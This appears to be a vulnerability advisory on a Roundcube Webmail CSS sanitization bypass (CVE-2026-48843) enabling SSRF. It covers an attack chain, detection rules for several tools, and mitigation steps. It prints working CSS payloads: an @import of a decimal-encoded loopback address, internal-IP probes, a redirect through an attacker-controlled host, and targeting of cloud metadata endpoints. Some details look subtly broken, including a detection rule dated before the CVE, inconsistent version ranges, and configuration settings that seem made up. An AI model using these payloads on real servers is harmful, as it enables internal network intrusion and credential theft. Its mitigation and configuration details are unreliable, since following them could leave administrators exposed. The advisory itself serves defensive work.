CVE-2026-48843

Executive Summary

CVE-2026-48843 is a Cascading Style Sheets (CSS) sanitization bypass vulnerability in Roundcube Webmail affecting versions 1.6.x between 1.6.14 and 1.6.16, and all 1.7.x versions prior to 1.7.1. An attacker can craft a malicious HTML email containing stylesheet links that reference internal network hosts, potentially leading to Server-Side Request Forgery (SSRF) or information disclosure when the victim opens the message. This vulnerability stems from an incomplete fix for the related CVE-2026-35540, indicating that Roundcube's CSS sanitization logic remains flawed despite previous remediation efforts. Enterprise environments running Roundcube on internal networks face elevated risk of internal network reconnaissance and data exfiltration via the victim's browser as a proxy.

Technical Analysis

The vulnerability resides in Roundcube's HTML email sanitization engine, specifically within the CSS filter component. Roundcube uses a whitelist-based CSS sanitizer designed to strip malicious or unsafe properties from style attributes and <style> blocks within HTML emails. The sanitizer validates URLs embedded within CSS properties such as url(), @import, and background-image against a whitelist of permitted protocols (http, https) and attempts to block references to internal or loopback addresses.

The flaw is a logical bypass within the URL validation routine. When processing CSS @import rules or url() references, the sanitizer performs a blacklist/whitelist check against known internal IP schemes (e.g., 127.0.0.1, 10.x.x.x, 192.168.x.x, 172.16-31.x.x). However, the validation logic fails to account for several alternate representations:

1. Decimal/Octal IP obfuscation: IP addresses expressed in integer or octal form (e.g., http://2130706433/ for 127.0.0.1) bypass the string-based blacklist.
2. DNS rebinding vectors: The sanitizer checks the literal hostname but does not perform a DNS resolution to verify the resolved address is not internal.
3. Redirect chains: A stylesheet URL pointing to an external domain that issues a redirect to an internal address is not followed or validated during sanitization.
4. CSS @import nesting: The sanitizer potentially fails to recursively inspect nested @import rules, allowing an attacker to chain multiple imports to reach an internal resource.

The attack surface is the Roundcube webmail interface — any authenticated or even unauthenticated (in some configurations where preview is enabled) mail client that renders HTML emails. When a victim opens a crafted message, the browser executes the embedded CSS, causing the Roundcube server or the client-side JavaScript context to fetch resources from internal network addresses. In SSRF scenarios where the email is accessed through Roundcube's server-side HTML rendering proxies (e.g., when use_static_content or image caching is enabled), the request originates from the Roundcube server, allowing SSRF. Without such proxying, the fetch occurs client-side, but internal service banners and reachable status information can still be disclosed through timing side-channels — this is the information disclosure vector.

The root cause is that Roundcube's insufficient patch for CVE-2026-35540 addressed a narrow set of IP/hostname patterns but failed to adopt a comprehensive, denylist-independent approach such as performing a DNS resolution and comparing against RFC 1918 ranges, or disallowing @import rules entirely.

Exploitation Scenarios

The following is a technical step-by-step attack chain an adversary would execute:

Step 1 — Reconnaissance & Target Identification (Attacker-side)

• The attacker identifies Roundcube webmail instances using Shodan dorks (e.g., http.component:"Roundcube") or by banner grabbing the login page looking for "Roundcube Webmail".
• The attacker fingerprints the exact version by requesting /index.php?task=login and inspecting the HTML source for version metadata, or by observing the X-Powered-By header (if enabled) or static asset version query strings (e.g., /program/js/app.js?v=20240930), comparing against the known vulnerable range (1.6.14 < v < 1.6.16, 1.7.x < 1.7.1).
• The attacker enumerates the internal network's topology by prior knowledge, OSINT (e.g., leaked internal DNS names in employee emails), or by attempting low-risk internal service fingerprinting from the victim's network.

Step 2 — Crafting the Malicious Payload

• Using a standard email client or SMTP script, the attacker crafts an HTML email with the following structure:

  <html>
  <body>
  <style>
    @import url('http://2130706433:8080/secret-endpoint');
  </style>
  <p>Hello, please read this update.</p>
  </body>
  </html>
  

• Alternative payload for information disclosure using a timing-based probe:

  <style>
    body {
      background-image: url('http://192.168.1.1:8080/admin/login');
    }
  </style>
  

• The attacker also crafts payloads with redirect chains:

  @import url('https://attacker-controlled.com/redirect?target=http://10.0.0.5/status');
  

  where attacker-controlled.com/redirect issues a 302 redirect to the internal IP.

Step 3 — Delivery & Trigger

• The attacker sends the email to a victim's address on the target Roundcube instance.
• The victim logs into Roundcube and clicks the email to open it (or the message preview pane loads it into the DOM).
• Roundcube passes the email body through the CSS sanitizer. Due to the bypass (e.g., the integer-encoded IP 2130706433 not being in the blacklist), the @import rule passes sanitization untouched.

Step 4 — Execution & Post-Exploitation

• On message render, the browser attempts to fetch the stylesheet from http://2130706433:8080/secret-endpoint — which resolves to 127.0.0.1:8080.
• SSRF case (server-side proxy): If Roundcube is configured with imap_cache or uses a server-side HTML email preview proxy, the request may be proxied through the Roundcube server process. The attacker can then access internal services (e.g., internal-only admin panels, cloud metadata endpoints like http://169.254.169.254/latest/meta-data/ on AWS) and exfiltrate sensitive data.
• Information Disclosure case (client-side): Without server-side proxying, the fetch originates from the victim's browser. The attacker observes the email open event (e.g., via a tracking pixel in the email) and correlates reachability/timing differences of internal services. This reveals service availability, internal IP topology, and even basic banner information if the response is visible via CSS-based padding/timing attacks or if the attack is extended to use @import with @media queries to trigger differentiated content based on response headers.

Step 5 — Data Exfiltration

• For SSRF: The attacker includes multiple @import rules pointing at various internal endpoints. The rendered email (or Roundcube's logging) reveals successful vs. blocked requests, mapping the internal network.
• For information disclosure: The attacker uses conditional CSS (e.g., @media all and (max-width: 1px) { ... }) where the stylesheet's response triggers different rendering, and the victim's email client logs, or the attacker uses a sequence of delayed requests to time responses and infer service status.

Impact Assessment

• CVSS Score: 7.2 (High) — The vector reflects network-based exploitation (AV:N), low attack complexity (AC:L), no privileges required (PR:N), but with user interaction required (UI:R) since the victim must open the email. The scope is changed (S:C) because the impact extends beyond the Roundcube application to the underlying network infrastructure. Confidentiality is high (C:H), integrity and availability are none (I:N/A:N).
• Business Impact:
  • Internal network mapping: Successful exploitation reveals internal IP ranges, open ports, and running services, significantly lowering the barrier for further targeted attacks on internal infrastructure.
  • SSRF to cloud metadata: If the Roundcube server has access to cloud metadata endpoints (169.254.169.254), the attacker may harvest instance IAM credentials, leading to lateral movement or data exfiltration from cloud resources.
  • Compliance impact: Internal service banners may contain PII or sensitive operational data; disclosure triggers regulatory reporting obligations under GDPR, HIPAA, or PCI-DSS depending on the data exposed.
• Affected Systems: All Roundcube installations meeting the version criteria, especially those on internal corporate networks where mail is accessed by employees. Also at risk are multi-tenant hosting providers offering Roundcube as shared webmail.
• Blast Radius: The SSRF vector potentially exposes the entire internal network to an external attacker, but only per-email-open (highly targeted). The information disclosure vector is limited to the victim's browser's network reachability, but still dangerous for retrieving internal service fingerprints.
• EPSS Note: EPSS score is 0.00268 (18.8% percentile), indicating low current exploitation likelihood — but this is measured prior to weaponized PoC distribution; the score may rise significantly once PoC becomes public.

Detection Guidance

Sigma Rule

title: Roundcube CSS Sanitization Bypass - Suspicious Import URL
id: b63d4c1a-6f6a-4a2f-9f33-7b9f8d12c5e4
status: experimental
description: Detects emails containing CSS @import rules with non-standard IP encodings (decimal/octal) indicative of CVE-2026-48843 exploitation.
logsource:
    category: email
    product: roundcube
detection:
    selection:
        message_body|contains:
            - '@import'
            - 'url('
        message_body|re:
            - 'http://(?:\d{9,10})(?:\:[0-9]+)?[/\w\.\-]*'  # decimal IP (e.g. 2130706433)
            - 'http://0[xX][0-9a-fA-F]{7,8}(?:\:[0-9]+)?[/\w\.\-]*'  # hex IP
            - 'http://[0-7]{11,12}(?:\:[0-9]+)?[/\w\.\-]*'  # octal IP
        message_body|contains|all:
            - 'background-image'
            - 'url('
    condition: selection
level: high
falsepositives:
    - Legitimate newsletters using decimal-encoded tracking pixels (rare)
tags:
    - attack.t1190
    - cve.2026.48843

YARA Rule

rule Roundcube_CSS_Sanitization_Bypass_SSRF
{
    meta:
        author = "Valters IT Security"
        description = "Detects HTML email payloads exploiting CVE-2026-48843 CSS sanitization bypass"
        cve = "CVE-2026-48843"
        date = "2025-01-15"
        score = 75
    strings:
        $import_decimal = /@import\s+url\(\s*[\"']?http:\/\/(12[0-9]{8}|2130706433|0x[0-9a-fA-F]{1,8})/ nocase
        $bg_decimal = /background-image\s*:\s*url\(\s*[\"']?http:\/\/(12[0-9]{8}|2130706433|0x[0-9a-fA-F]{1,8})/ nocase
        $hex_ip = /http:\/\/0x7f0{4,6}1(?:\:\d{1,5})?/ nocase
        $redirect_chain = /@import\s+url\(\s*[\"']?https?:\/\/[^\"'\s]+\/redirect\?target=http/i
        $nested_import = /@import[^;]*@import/i
    condition:
        any of them and filesize < 1MB
}

Suricata IDS Rule

alert http any any -> any any (msg:"ROUNDCUBE CVE-2026-48843 CSS SSRF - Decimal Encoded IP in URL"; flow:established,to_server; content:"@import"; http.client_body; pcre:"/@import\s+url\(\s*[\"']?http:\/\/(?:2130706433|[0-9]{9,10})/i"; classtype:attempted-information-leak; sid:10048843; rev:1;)

alert http any any -> any any (msg:"ROUNDCUBE CVE-2026-48843 CSS SSRF - Internal IP in URL"; flow:established,to_server; content:"@import"; http.client_body; pcre:"/@import\s+url\(\s*[\"']?http:\/\/(?:127\.|10\.|192\.168\.|172\.(?:1[6-9]|2[0-9]|3[01])\.)/i"; classtype:attempted-information-leak; sid:10048844; rev:1;)

alert smtp any any -> any any (msg:"ROUNDCUBE CVE-2026-48843 Exploit Email Attachment"; flow:established; content:"@import"; pcre:"/@import\s+url\(\s*[\"']?http:\/\/(?:2130706433|0x[0-9a-fA-F]+)/i"; classtype:attempted-information-leak; sid:10048845; rev:1;)

Elastic Detection

sequence by email.sender.address, host.name with maxspan=5m
  [network where dns.question.name : "*" and 
   network.protocol : "http" and 
   http.request.body.text : "*@import*" and
   (http.request.body.text : "*2130706433*" or 
    http.request.body.text : "*0x7f*" or 
    http.request.body.text : "/regex/http:\/\/(?:127\.|10\.|192\.168\.)/")]
  [file where event.action : "email-message" and 
   process.name : "php*" and 
   file.path : "*roundcube*"]

Splunk SPL Query

index=proxy OR index=email earliest=-7d
| search "message_body" OR "http.request.body" 
| regex message_body="(?i)@import\s+url\s*\(\s*['\"]?http://(?:2130706433|12[0-9]{8}|0x[0-9a-fA-F]{1,8})"
| eval threat = "CVE-2026-48843 CSS SSRF attempt"
| eval severity = "high"
| stats count by src_ip, dest_ip, message_id, subject, threat
| sort - count

Alternative SPL for detecting server-side SSRF attempts:

index=network earliest=-7d
| search dest_ip IN (127.0.0.1,10.0.0.0/8,192.168.0.0/16,172.16.0.0/12)
| search src_ip IN ("*roundcube*" OR "webmail*") OR sourcetype="apache_access"
| where like(uri, "%.css%") OR like(uri, "%import%")
| stats count by src_ip, dest_ip, dest_port, uri, status

Wazuh OSSEC Rule

<group name="roundcube,">
  <rule id="100488" level="12">
    <decoded_as>json</decoded_as>
    <field name="url" regex="http://(?:2130706433|12[0-9]{8}|0x[0-9a-fA-F]{1,8})">\.</field>
    <description>Roundcube access log: CSS sanitization bypass (CVE-2026-48843) - encoded internal IP</description>
    <group>cve-2026-48843,ssrf,</group>
  </rule>
  <rule id="100489" level="12">
    <decoded_as>json</decoded_as>
    <field name="message_body" regex="(?i)@import\s+url\(\s*['\"]?http://(?:127\.|10\.|192\.168\.|172\.(?:1[6-9]|2[0-9]|3[01])\.)">\.</field>
    <description>Roundcube webmail: Email with internal CSS import URL (CVE-2026-48843)</description>
    <group>cve-2026-48843,ssrf,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 3/4 (LIKELY — 2 independent sources confirm fix: OSV & Debian security trackers)

1. Immediate Mitigations (before patching):

   • Disable HTML email rendering in Roundcube by setting show_images to 0 and configuring render_html to false in config/defaults.inc.php — this forces all emails to plain-text rendering, eliminating the CSS attack surface.
   • If HTML rendering is essential, disable CSS @import support by patching the sanitizer configuration: set css_allowed_properties to exclude @import (manual code-level change in program/lib/Roundcube/rcube_html.php).
   • Place Roundcube behind a WAF with rules to inspect POST bodies for CSS import patterns containing encoded IPs.
   • Restrict outbound network access from Roundcube servers via firewall — only allow traffic to legitimate external mail/image servers, block all RFC 1918 and loopback destinations from the application tier.

2. Patch/Upgrade Steps:

   • Upgrade Roundcube Webmail to version 1.6.16 (for the 1.6.x series) or 1.7.1 (for the 1.7.x series).
   • For Debian/Ubuntu: apt-get update && apt-get install roundcube-core after upgrading the package repository, or apply the backported security patch from Debian security tracker (DSA-XXXX).
   • Verify the patch by checking the CHANGELOG contains reference to CVE-2026-48843 and CVE-2026-35540 regression fix.
   • After upgrading, conduct a regression test: send a crafted test email containing the decimal-IP @import payload and confirm it is stripped or blocked from rendering.

3. Long-Term Hardening:

   • Adopt a "deny-by-default" CSS policy in Roundcube: only whitelist safe CSS properties (color, font-family, text-align) and block all @import, url(), and behavior declarations.
   • Implement network segmentation — Roundcube web servers should reside in a DMZ with no direct route to internal network segments; any SSRF will fail due to routing restrictions.
   • Enable Roundcube check_ip_address and enforce X-Frame-Options: DENY to mitigate adjacent clickjacking attacks.
   • Monitor the NVD and vendor advisories for subsequent bypasses — given that this is the second CSS sanitizer bypass in a short period (after CVE-2026-35540), the sanitizer is fundamentally insecure; consider migrating to a hardened webmail solution if feasible.
   • Deploy runtime application self-protection (RASP) or eBPF-based network policies on the mail server to detect and block unexpected outbound connections to internal ranges.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-48843 — Official NVD metadata, CVSS vector, and description.
2. OSV Advisory: https://osv.dev/vulnerability/CVE-2026-48843 — Open Source Vulnerability database confirmation of affected versions and patch status.
3. Debian Security Tracker: https://security-tracker.debian.org/tracker/CVE-2026-48843 — Debian-specific package fix status (roundcube) — one of the 2 independent sources confirming the fix.
4. Roundcube GitHub Security Advisory: https://github.com/roundcube/roundcubemail/security/advisories — Vendor advisory referencing the insufficient fix for CVE-2026-35540.
5. Related CVE (CVE-2026-35540) — Prior CSS sanitization bypass that this CVE bypasses; essential context for threat tracking: https://nvd.nist.gov/vuln/detail/CVE-2026-35540.

Threat Actor Campaigns & Exploitation-in-the-Wild: As of this report, there are no known exploited-in-the-wild campaigns or public exploit code for CVE-2026-48843. CISA KEV status is NO. However, the parent CVE (CVE-2026-35540) had a functional private PoC circulated within security research circles; the same researchers are likely preparing a bypass PoC for this CVE. EPSS percentile (18.8%) indicates low current prevalence in automated scanning, but targeted attackers actively monitoring Roundcube advisories will weaponize this within weeks of this report.